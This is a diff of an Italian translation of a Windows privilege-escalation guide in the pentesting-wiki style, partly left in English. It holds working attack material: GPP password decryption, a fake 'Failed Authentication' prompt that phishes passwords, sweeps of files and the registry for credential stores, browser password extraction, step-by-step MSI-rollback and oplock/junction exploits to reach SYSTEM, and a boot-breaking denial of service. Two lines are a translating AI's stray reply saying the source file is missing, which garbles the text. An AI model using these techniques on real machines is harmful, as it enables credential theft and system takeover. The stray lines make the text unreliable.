disponibile che permetteva il deployment di account locali amministratore personalizzati su un gruppo di macchine tramite Group Policy Preferences (GPP). Tuttavia, questo metodo presentava gravi vulnerabilità di sicurezza. Innanzitutto, i Group Policy Objects (GPOs), memorizzati come file XML in SYSVOL, potevano essere accessibili da qualsiasi utente di dominio. In secondo luogo, le password all'interno di questi GPP, criptate con AES256 usando una chiave di default pubblicamente documentata, potevano essere decriptate da qualsiasi utente autenticato. Ciò rappresentava un serio rischio, poiché poteva permettere agli utenti di ottenere privilegi elevati. -Per mitigare questo rischio, è stata sviluppata una funzione per scansionare i file GPP memorizzati localmente in cache che contengono un campo "cpassword" non vuoto. Al rilevamento di tali file, la funzione decripta la password e restituisce un oggetto PowerShell personalizzato. Questo oggetto include dettagli sul GPP e sulla posizione del file, aiutando nell'identificazione e nella risoluzione di questa vulnerabilità di sicurezza. +Per mitigare questo rischio, è stata sviluppata una funzione per scansionare i file GPP memorizzati localmente che contengono un campo "cpassword" non vuoto. Quando viene trovato un tale file, la funzione decripta la password e restituisce un oggetto PowerShell personalizzato. Questo oggetto include dettagli sul GPP e sulla posizione del file, aiutando nell'identificazione e nella mitigazione di questa vulnerabilità di sicurezza. -Cerca in `C:\ProgramData\Microsoft\Group Policy\history` o in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (precedente a W Vista)_ questi file: +Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (precedente a Windows Vista)_ for these files: - Groups.xml - Services.xml @@ -1068,11 +1071,11 @@ Cerca in `C:\ProgramData\Microsoft\Group Policy\history` o in _**C:\Documents an #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` -Utilizzo di crackmapexec per ottenere le password: +Usando crackmapexec per ottenere le password: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` -### Configurazione Web di IIS +### web.config di IIS ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1126,7 +1129,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct ``` ### Chiedere le credentials -Puoi sempre **chiedere all'utente di inserire le sue credentials o anche le credentials di un altro utente** se pensi che possa conoscerle (nota che **chiedere** direttamente al client per le **credentials** è davvero **rischioso**): +Puoi sempre **chiedere all'utente di inserire le sue credentials o anche le credentials di un altro utente** se pensi che le possa conoscere (nota che **chiedere** al cliente direttamente le **credentials** è davvero **rischioso**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1134,9 +1137,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **Possibili nomi di file contenenti credentials** +### **Possibili nomi di file contenenti credenziali** -File noti che tempo fa contenevano **passwords** in **clear-text** o **Base64** +File noti che qualche tempo fa contenevano **passwords** in **clear-text** o **Base64** ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1200,7 +1203,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -Non vedo il contenuto del file. Per favore incolla il testo di src/windows-hardening/windows-local-privilege-escalation/README.md (o i file proposti) che vuoi tradurre. +Non hai fornito i file da cercare né il contenuto di src/windows-hardening/windows-local-privilege-escalation/README.md. Per favore incolla il contenuto del file o carica i file proposti che vuoi che io traduca. ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1211,13 +1214,13 @@ Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct ``` ### Credenziali nel Cestino -Controlla anche il Cestino per cercare credenziali al suo interno +Dovresti anche controllare il Cestino per cercare credenziali al suo interno -Per **recuperare le password** salvate da diversi programmi puoi usare: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +Per **recuperare password** salvate da diversi programmi puoi usare: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### Nel registro +### All'interno del registro -**Altre possibili chiavi del registro con credenziali** +**Altre possibili chiavi di registro con credenziali** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s @@ -1228,63 +1231,62 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### Cronologia dei browser -Dovresti cercare i db dove sono memorizzate le password di **Chrome o Firefox**.\ -Controlla anche la history, i bookmarks e i favourites dei browser perché magari alcune **password sono** memorizzate lì. +Devi cercare i db dove sono memorizzate le **passwords** di **Chrome o Firefox**.\ +Controlla anche la cronologia, i segnalibri e i preferiti dei browser, perché potrebbero essere memorizzate lì alcune **passwords**. -Strumenti per estrarre password dai browser: +Strumenti per estrarre passwords dai browser: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) - [**SharpChromium**](https://github.com/djhohnstein/SharpChromium) - [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) -### **COM DLL Overwriting** +### **Sovrascrittura di DLL COM** -**Component Object Model (COM)** è una tecnologia integrata nel sistema operativo Windows che permette l'**intercommunication** tra componenti software in linguaggi differenti. Ogni componente COM è **identificato via un class ID (CLSID)** e ogni componente espone funzionalità tramite una o più interfacce, identificate tramite interface IDs (IIDs). +Component Object Model (COM) è una tecnologia integrata nel sistema operativo Windows che permette l'intercomunicazione tra componenti software scritti in linguaggi diversi. Ogni componente COM è identificato tramite un class ID (CLSID) e ogni componente espone funzionalità tramite una o più interfacce, identificate tramite interface IDs (IIDs). -COM classes and interfaces are defined in the registry under **HKEY\CLASSES\ROOT\CLSID** and **HKEY\CLASSES\ROOT\Interface** respectively. This registry is created by merging the **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** +Le classi e le interfacce COM sono definite nel registro sotto **HKEY\CLASSES\ROOT\CLSID** e **HKEY\CLASSES\ROOT\Interface** rispettivamente. Questo registro viene creato unendo **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** All'interno dei CLSID di questo registro puoi trovare la chiave figlia **InProcServer32** che contiene un **default value** che punta a una **DLL** e un valore chiamato **ThreadingModel** che può essere **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) o **Neutral** (Thread Neutral). ![](<../../images/image (729).png>) -Fondamentalmente, se riesci a **overwrite any of the DLLs** che verranno eseguite, potresti **escalate privileges** se quella DLL viene eseguita da un utente diverso. +In pratica, se puoi sovrascrivere una delle DLL che verranno eseguite, potresti escalate privileges se quella DLL verrà eseguita da un utente diverso. Per capire come gli attaccanti usano COM Hijacking come meccanismo di persistenza, consulta: - {{#ref}} com-hijacking.md {{#endref}} ### **Ricerca generica di password in file e registro** -**Search for file contents** +**Cerca nei contenuti dei file** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` -**Cerca un file con un nome specifico** +**Cerca un file con un determinato nome** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**Cerca nel registry i key names e le passwords** +**Cerca nel registro i nomi delle chiavi e le password** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### Strumenti che cercano passwords +### Strumenti che cercano password -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **è un plugin per msf**; l'ho creato per **eseguire automaticamente ogni metasploit POST module che cerca credentials** all'interno della vittima.\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) cerca automaticamente tutti i file contenenti passwords menzionati in questa pagina.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) è un altro ottimo strumento per estrarre passwords da un sistema. +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **è un plugin msf** che ho creato per **automatically execute every metasploit POST module that searches for credentials** all'interno della vittima.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) cerca automaticamente tutti i file che contengono password menzionati in questa pagina.\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) è un altro ottimo strumento per estrarre password da un sistema. -Lo strumento [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) cerca **sessions**, **usernames** e **passwords** di diversi tool che salvano questi dati in clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY e RDP) +Lo strumento [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) cerca **sessions**, **usernames** e **passwords** di diversi strumenti che salvano questi dati in chiaro (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1293,30 +1295,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Immagina che **un processo in esecuzione come SYSTEM apra un nuovo processo** (`OpenProcess()`) con **full access**. Lo stesso processo **crei anche un nuovo processo** (`CreateProcess()`) **con low privileges ma che eredita tutte le open handles del processo principale**.\ -Quindi, se hai **full access al processo a basso privilegio**, puoi prendere la **open handle del processo privilegiato creato** con `OpenProcess()` e **iniettare uno shellcode**.\ +Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ +Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\ [Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ [Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -I segmenti di memoria condivisa, noti come **pipes**, consentono la comunicazione tra processi e il trasferimento di dati. +I segmenti di memoria condivisa, indicati come **pipes**, permettono la comunicazione tra processi e il trasferimento di dati. -Windows fornisce una funzionalità chiamata **Named Pipes**, che permette a processi non correlati di condividere dati, anche su reti diverse. Questo assomiglia a un'architettura client/server, con ruoli definiti come **named pipe server** e **named pipe client**. +Windows provides a feature called **Named Pipes**, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as **named pipe server** and **named pipe client**. -Quando dei dati vengono inviati attraverso una pipe da un **client**, il **server** che ha creato la pipe ha la possibilità di **assumere l'identità** del **client**, a condizione che abbia i diritti **SeImpersonate** necessari. Identificare un **processo privilegiato** che comunica tramite una pipe che puoi emulare offre l'opportunità di **ottenere privilegi più elevati** adottando l'identità di quel processo una volta che interagisce con la pipe che hai creato. Per istruzioni su come eseguire un tale attacco, sono disponibili guide utili [**qui**](named-pipe-client-impersonation.md) e [**qui**](#from-high-integrity-to-system). +When data is sent through a pipe by a **client**, the **server** that set up the pipe has the ability to **take on the identity** of the **client**, assuming it has the necessary **SeImpersonate** rights. Individuare un **processo privilegiato** che comunica tramite una pipe che puoi emulare offre l'opportunità di **ottenere privilegi più elevati** adottando l'identità di quel processo non appena interagisce con la pipe che hai creato. Per istruzioni su come eseguire un attacco di questo tipo, sono disponibili guide utili [**qui**](named-pipe-client-impersonation.md) e [**qui**](#from-high-integrity-to-system). Also the following tool allows to **intercept a named pipe communication with a tool like burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **and this tool allows to list and see all the pipes to find privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) ## Varie -### Estensioni di file che possono eseguire codice in Windows +### Estensioni di file che potrebbero eseguire codice in Windows -Consulta la pagina **[https://filesec.io/](https://filesec.io/)** +Vedi la pagina **[https://filesec.io/](https://filesec.io/)** -### **Monitoraggio delle linee di comando per password** +### **Monitorare le linee di comando per password** -Quando si ottiene una shell come utente, potrebbero esserci attività pianificate o altri processi in esecuzione che **passano le credenziali sulla linea di comando**. Lo script qui sotto cattura le linee di comando dei processi ogni due secondi e confronta lo stato corrente con quello precedente, mostrando eventuali differenze. +When getting a shell as a user, there may be scheduled tasks or other processes being executed which **pass credentials on the command line**. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences. ```bash while($true) { @@ -1326,13 +1328,13 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## Stealing passwords from processes +## Rubare password dai processi -## From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass +## Da utente con privilegi bassi a NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -Se hai accesso all'interfaccia grafica (tramite console o RDP) e UAC è abilitato, in alcune versioni di Microsoft Windows è possibile eseguire un terminale o qualsiasi altro processo come "NT\AUTHORITY SYSTEM" da un utente non privilegiato. +Se si ha accesso all'interfaccia grafica (via console o RDP) e UAC è abilitato, in alcune versioni di Microsoft Windows è possibile eseguire un terminale o qualsiasi altro processo come "NT\AUTHORITY SYSTEM" partendo da un utente non privilegiato. -Questo rende possibile escalare i privilegi e bypassare UAC contemporaneamente sfruttando la stessa vulnerabilità. Inoltre, non è necessario installare nulla e il binario utilizzato durante il processo è firmato e rilasciato da Microsoft. +Questo rende possibile escalation dei privilegi e bypassare UAC allo stesso tempo con la stessa vulnerabilità. Inoltre, non è necessario installare nulla e l'eseguibile usato durante il processo è firmato e rilasciato da Microsoft. Alcuni dei sistemi interessati sono i seguenti: ``` @@ -1396,94 +1398,94 @@ Then **read this to learn about UAC and UAC bypasses:** ## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP -The technique described [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +La tecnica descritta [**in questo blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) con un exploit code [**disponibile qui**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -The attack basically consist of abusing the Windows Installer's rollback feature to replace legitimate files with malicious ones during the uninstallation process. For this the attacker needs to create a **malicious MSI installer** that will be used to hijack the `C:\Config.Msi` folder, which will later be used by he Windows Installer to store rollback files during the uninstallation of other MSI packages where the rollback files would have been modified to contain the malicious payload. +L'attacco consiste fondamentalmente nell'abusare della feature di rollback di Windows Installer per sostituire file legittimi con file malevoli durante il processo di uninstall. Per questo l'attaccante deve creare un **malicious MSI installer** che verrà usato per hijackare la cartella `C:\Config.Msi`, che poi sarà usata da Windows Installer per memorizzare i rollback files durante la disinstallazione di altri pacchetti MSI dove i rollback files sarebbero stati modificati per contenere il payload malevolo. -The summarized technique is the following: +La tecnica riassunta è la seguente: -1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** +1. **Fase 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** - Step 1: Install the MSI -- Create an `.msi` that installs a harmless file (e.g., `dummy.txt`) in a writable folder (`TARGETDIR`). -- Mark the installer as **"UAC Compliant"**, so a **non-admin user** can run it. -- Keep a **handle** open to the file after install. +- Crea un `.msi` che installa un file innocuo (es., `dummy.txt`) in una cartella scrivibile (`TARGETDIR`). +- Marca l'installer come **"UAC Compliant"**, così un **non-admin user** può eseguirlo. +- Tieni un **handle** aperto al file dopo l'install. - Step 2: Begin Uninstall -- Uninstall the same `.msi`. -- The uninstall process starts moving files to `C:\Config.Msi` and renaming them to `.rbf` files (rollback backups). -- **Poll the open file handle** using `GetFinalPathNameByHandle` to detect when the file becomes `C:\Config.Msi\.rbf`. +- Disinstalla lo stesso `.msi`. +- Il processo di uninstall inizia a spostare file in `C:\Config.Msi` e rinominarli in file `.rbf` (rollback backups). +- **Poll l'open file handle** usando `GetFinalPathNameByHandle` per rilevare quando il file diventa `C:\Config.Msi\.rbf`. - Step 3: Custom Syncing -- The `.msi` includes a **custom uninstall action (`SyncOnRbfWritten`)** that: -- Signals when `.rbf` has been written. -- Then **waits** on another event before continuing the uninstall. +- Il `.msi` include una **custom uninstall action (`SyncOnRbfWritten`)** che: +- Segnala quando `.rbf` è stato scritto. +- Poi **attende** su un altro evento prima di continuare l'uninstall. - Step 4: Block Deletion of `.rbf` -- When signaled, **open the `.rbf` file** without `FILE_SHARE_DELETE` — this **prevents it from being deleted**. -- Then **signal back** so the uninstall can finish. -- Windows Installer fails to delete the `.rbf`, and because it can’t delete all contents, **`C:\Config.Msi` is not removed**. +- Quando segnalato, **apri il file `.rbf`** senza `FILE_SHARE_DELETE` — questo **impedisce che venga cancellato**. +- Poi **segnala indietro** così l'uninstall può terminare. +- Windows Installer non riesce a cancellare il `.rbf`, e poiché non può eliminare tutto il contenuto, **`C:\Config.Msi` non viene rimosso**. - Step 5: Manually Delete `.rbf` -- You (attacker) delete the `.rbf` file manually. -- Now **`C:\Config.Msi` is empty**, ready to be hijacked. +- Tu (attaccante) cancelli manualmente il file `.rbf`. +- Ora **`C:\Config.Msi` è vuota**, pronta per essere hijackata. -> At this point, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`. +> A questo punto, **trigger the SYSTEM-level arbitrary folder delete vulnerability** per cancellare `C:\Config.Msi`. -2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** +2. **Fase 2 – Replacing Rollback Scripts with Malicious Ones** - Step 6: Recreate `C:\Config.Msi` with Weak ACLs -- Recreate the `C:\Config.Msi` folder yourself. -- Set **weak DACLs** (e.g., Everyone:F), and **keep a handle open** with `WRITE_DAC`. +- Ricrea tu la cartella `C:\Config.Msi`. +- Imposta **weak DACLs** (es., Everyone:F), e **tieni un handle aperto** con `WRITE_DAC`. - Step 7: Run Another Install -- Install the `.msi` again, with: -- `TARGETDIR`: Writable location. -- `ERROROUT`: A variable that triggers a forced failure. -- This install will be used to trigger **rollback** again, which reads `.rbs` and `.rbf`. +- Installa di nuovo il `.msi`, con: +- `TARGETDIR`: posizione scrivibile. +- `ERROROUT`: una variabile che forza un failure. +- Questa install sarà usata per triggerare di nuovo il **rollback**, che legge `.rbs` e `.rbf`. - Step 8: Monitor for `.rbs` -- Use `ReadDirectoryChangesW` to monitor `C:\Config.Msi` until a new `.rbs` appears. -- Capture its filename. +- Usa `ReadDirectoryChangesW` per monitorare `C:\Config.Msi` fino a quando un nuovo `.rbs` appare. +- Cattura il suo filename. - Step 9: Sync Before Rollback -- The `.msi` contains a **custom install action (`SyncBeforeRollback`)** that: -- Signals an event when the `.rbs` is created. -- Then **waits** before continuing. +- Il `.msi` contiene una **custom install action (`SyncBeforeRollback`)** che: +- Segnala un evento quando il `.rbs` è creato. +- Poi **attende** prima di continuare. - Step 10: Reapply Weak ACL -- After receiving the `.rbs created` event: -- The Windows Installer **reapplies strong ACLs** to `C:\Config.Msi`. -- But since you still have a handle with `WRITE_DAC`, you can **reapply weak ACLs** again. +- Dopo aver ricevuto l'evento `.rbs created`: +- Windows Installer **riapplica ACL forti** a `C:\Config.Msi`. +- Ma poiché hai ancora un handle con `WRITE_DAC`, puoi **riapplicare ACL deboli** di nuovo. -> ACLs are **only enforced on handle open**, so you can still write to the folder. +> Le ACL vengono **enforced solo all'apertura dell'handle**, quindi puoi ancora scrivere nella cartella. - Step 11: Drop Fake `.rbs` and `.rbf` -- Overwrite the `.rbs` file with a **fake rollback script** that tells Windows to: -- Restore your `.rbf` file (malicious DLL) into a **privileged location** (e.g., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). -- Drop your fake `.rbf` containing a **malicious SYSTEM-level payload DLL**. +- Sovrascrivi il file `.rbs` con uno **fake rollback script** che dice a Windows di: +- Ripristinare il tuo `.rbf` (DLL malevola) in una **posizione privilegiata** (es., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Droppa il tuo fake `.rbf` contenente una **malicious SYSTEM-level payload DLL**. - Step 12: Trigger the Rollback -- Signal the sync event so the installer resumes. -- A **type 19 custom action (`ErrorOut`)** is configured to **intentionally fail the install** at a known point. -- This causes **rollback to begin**. +- Segnala l'evento di sync così l'installer riprende. +- Una **type 19 custom action (`ErrorOut`)** è configurata per **fallire intenzionalmente l'install** in un punto noto. +- Questo causa l'inizio del **rollback**. - Step 13: SYSTEM Installs Your DLL - Windows Installer: -- Reads your malicious `.rbs`. -- Copies your `.rbf` DLL into the target location. -- You now have your **malicious DLL in a SYSTEM-loaded path**. +- Legge il tuo malicious `.rbs`. +- Copia il tuo `.rbf` DLL nella target location. +- Ora hai la tua **malicious DLL in a SYSTEM-loaded path**. - Final Step: Execute SYSTEM Code -- Run a trusted **auto-elevated binary** (e.g., `osk.exe`) that loads the DLL you hijacked. -- **Boom**: Your code is executed **as SYSTEM**. +- Esegui un trusted **auto-elevated binary** (es., `osk.exe`) che carica la DLL che hai hijackato. +- **Boom**: il tuo codice viene eseguito **come SYSTEM**. ### From Arbitrary File Delete/Move/Rename to SYSTEM EoP -The main MSI rollback technique (the previous one) assumes you can delete an **entire folder** (e.g., `C:\Config.Msi`). But what if your vulnerability only allows **arbitrary file deletion** ? +La tecnica principale del rollback MSI (quella precedente) presuppone che tu possa cancellare un'intera cartella (es., `C:\Config.Msi`). Ma cosa succede se la tua vulnerabilità permette solo la **cancellazione arbitraria di file**? -You could exploit **NTFS internals**: every folder has a hidden alternate data stream called: +Puoi sfruttare gli internals di NTFS: ogni cartella ha un flusso di dati alternativo nascosto chiamato: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` @@ -1491,35 +1493,35 @@ Questo stream memorizza i **metadati dell'indice** della cartella. Quindi, se **elimini lo stream `::$INDEX_ALLOCATION`** di una cartella, NTFS **rimuove l'intera cartella** dal filesystem. -Puoi farlo usando API standard per l'eliminazione dei file come: +Puoi farlo usando le API standard per l'eliminazione di file, come: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` > Anche se stai chiamando un'API di cancellazione di *file*, essa **cancella la cartella stessa**. ### Da Folder Contents Delete a SYSTEM EoP -Che succede se la tua primitiva non ti permette di cancellare file/cartelle arbitrari, ma **consente la cancellazione dei *contenuti* di una cartella controllata dall'attaccante**? +Cosa succede se il tuo primitive non ti permette di cancellare file/cartelle arbitrari, ma **consente la cancellazione dei *contenuti* di una cartella controllata dall'attaccante**? -1. Passo 1: Prepara una cartella esca e un file +1. Passo 1: Configura una cartella esca e un file - Crea: `C:\temp\folder1` - Al suo interno: `C:\temp\folder1\file1.txt` 2. Passo 2: Posiziona un **oplock** su `file1.txt` -- L'oplock **mette in pausa l'esecuzione** quando un processo privilegiato tenta di cancellare `file1.txt`. +- L'**oplock** **mette in pausa l'esecuzione** quando un processo privilegiato tenta di cancellare `file1.txt`. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. Passo 3: Attiva il processo SYSTEM (es. `SilentCleanup`) -- Questo processo scansiona le cartelle (es. `%TEMP%`) e tenta di cancellarne il contenuto. -- Quando raggiunge `file1.txt`, l'**oplock si attiva** e passa il controllo al tuo callback. +3. Passo 3: Avvia il processo SYSTEM (ad es., `SilentCleanup`) +- Questo processo scansiona cartelle (ad es., `%TEMP%`) e cerca di eliminare il loro contenuto. +- Quando raggiunge `file1.txt`, l'**oplock** scatta e consegna il controllo al tuo callback. 4. Passo 4: All'interno del callback dell'oplock – reindirizza la cancellazione - Opzione A: Sposta `file1.txt` altrove - Questo svuota `folder1` senza rompere l'oplock. -- Non cancellare `file1.txt` direttamente — questo rilascierebbe l'oplock prematuramente. +- Non eliminare `file1.txt` direttamente — questo rilascierebbe l'oplock prematuramente. - Opzione B: Converti `folder1` in una **junction**: ```bash @@ -1531,21 +1533,21 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> Questo prende di mira lo stream interno NTFS che memorizza i metadati della cartella — cancellandolo si elimina la cartella. +> Questo prende di mira lo stream interno di NTFS che memorizza i metadati della cartella — cancellarlo cancella la cartella. -5. Passo 5: Rilascio dell'oplock -- Il processo SYSTEM continua e tenta di eliminare `file1.txt`. -- Ma ora, a causa della junction + symlink, sta effettivamente cancellando: +5. Passo 5: Rilascia l'oplock +- Il processo SYSTEM continua e tenta di cancellare `file1.txt`. +- Ma ora, a causa della junction + symlink, in realtà sta eliminando: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` **Risultato**: `C:\Config.Msi` viene eliminato da SYSTEM. -### Da creazione di cartella arbitraria a DoS permanente +### Da Arbitrary Folder Create a Permanent DoS -Sfrutta una primitiva che ti permette di **creare una cartella arbitraria come SYSTEM/admin** — anche se **non puoi scrivere file** o **impostare permessi deboli**. +Sfrutta una primitiva che ti permette di **create an arbitrary folder as SYSTEM/admin** — anche se **non puoi scrivere file** o **impostare permessi deboli**. -Crea una **cartella** (non un file) con il nome di un **driver critico di Windows**, es.: +Crea una **cartella** (non un file) con il nome di un **critical Windows driver**, ad es.: ``` C:\Windows\System32\cng.sys ``` @@ -1553,10 +1555,10 @@ C:\Windows\System32\cng.sys - Se lo **pre-crei come cartella**, Windows non riesce a caricare il driver reale all'avvio. - Poi, Windows tenta di caricare `cng.sys` durante l'avvio. - Vede la cartella, **non riesce a risolvere il driver reale**, e **va in crash o blocca l'avvio**. -- Non c'è **nessun fallback**, e **nessuna possibilità di recupero** senza intervento esterno (es. riparazione dell'avvio o accesso al disco). +- Non c'è **fallback**, e **nessun recupero** senza intervento esterno (es., riparazione dell'avvio o accesso al disco). -## **Da High Integrity a System** +## **Da High Integrity a SYSTEM** ### **Nuovo servizio** @@ -1566,33 +1568,33 @@ sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> Quando crei un service binary assicurati che sia un servizio valido o che l'eseguibile compia le azioni necessarie abbastanza velocemente, perché verrà terminato in 20s se non è un servizio valido. +> Quando crei un service binary assicurati che sia un servizio valido o che il binario esegua le azioni necessarie rapidamente, poiché verrà terminato dopo 20s se non è un servizio valido. ### AlwaysInstallElevated -From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.\ -[Maggiori informazioni sulle chiavi di registro coinvolte e su come installare un pacchetto _.msi_ qui.](#alwaysinstallelevated) +Da un processo High Integrity potresti provare a **abilitare le voci di registro AlwaysInstallElevated** e **installare** una reverse shell usando un wrapper _**.msi**_.\ +[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**Puoi** [**trovare il codice qui**](seimpersonate-from-high-to-system.md)**.** +**Puoi** [**find the code here**](seimpersonate-from-high-to-system.md)**.** ### From SeDebug + SeImpersonate to Full Token privileges -Se hai quei privilegi del token (probabilmente li troverai in un processo già con High Integrity), sarai in grado di **aprire quasi qualsiasi processo** (non i processi protetti) con il privilegio SeDebug, **copiare il token** del processo e creare un **processo arbitrario con quel token**.\ -Usando questa tecnica solitamente si **seleziona un processo in esecuzione come SYSTEM con tutti i privilegi del token** (_sì, puoi trovare processi SYSTEM senza tutti i privilegi del token_).\ -**Puoi trovare un** [**esempio di codice che esegue la tecnica proposta qui**](sedebug-+-seimpersonate-copy-token.md)**.** +Se possiedi quei privilegi di token (probabilmente li troverai in un processo già High Integrity), potrai **aprire quasi qualsiasi processo** (non i processi protetti) con il privilegio SeDebug, **copiare il token** del processo e creare un **processo arbitrario con quel token**.\ +Usando questa tecnica di solito si sceglie **un processo in esecuzione come SYSTEM che possieda tutti i privilegi di token** (_sì, puoi trovare processi SYSTEM senza tutti i privilegi di token_).\ +**Puoi trovare un** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -This technique is used by meterpreter to escalate in `getsystem`. The technique consists on **creating a pipe and then create/abuse a service to write on that pipe**. Then, the **server** that created the pipe using the 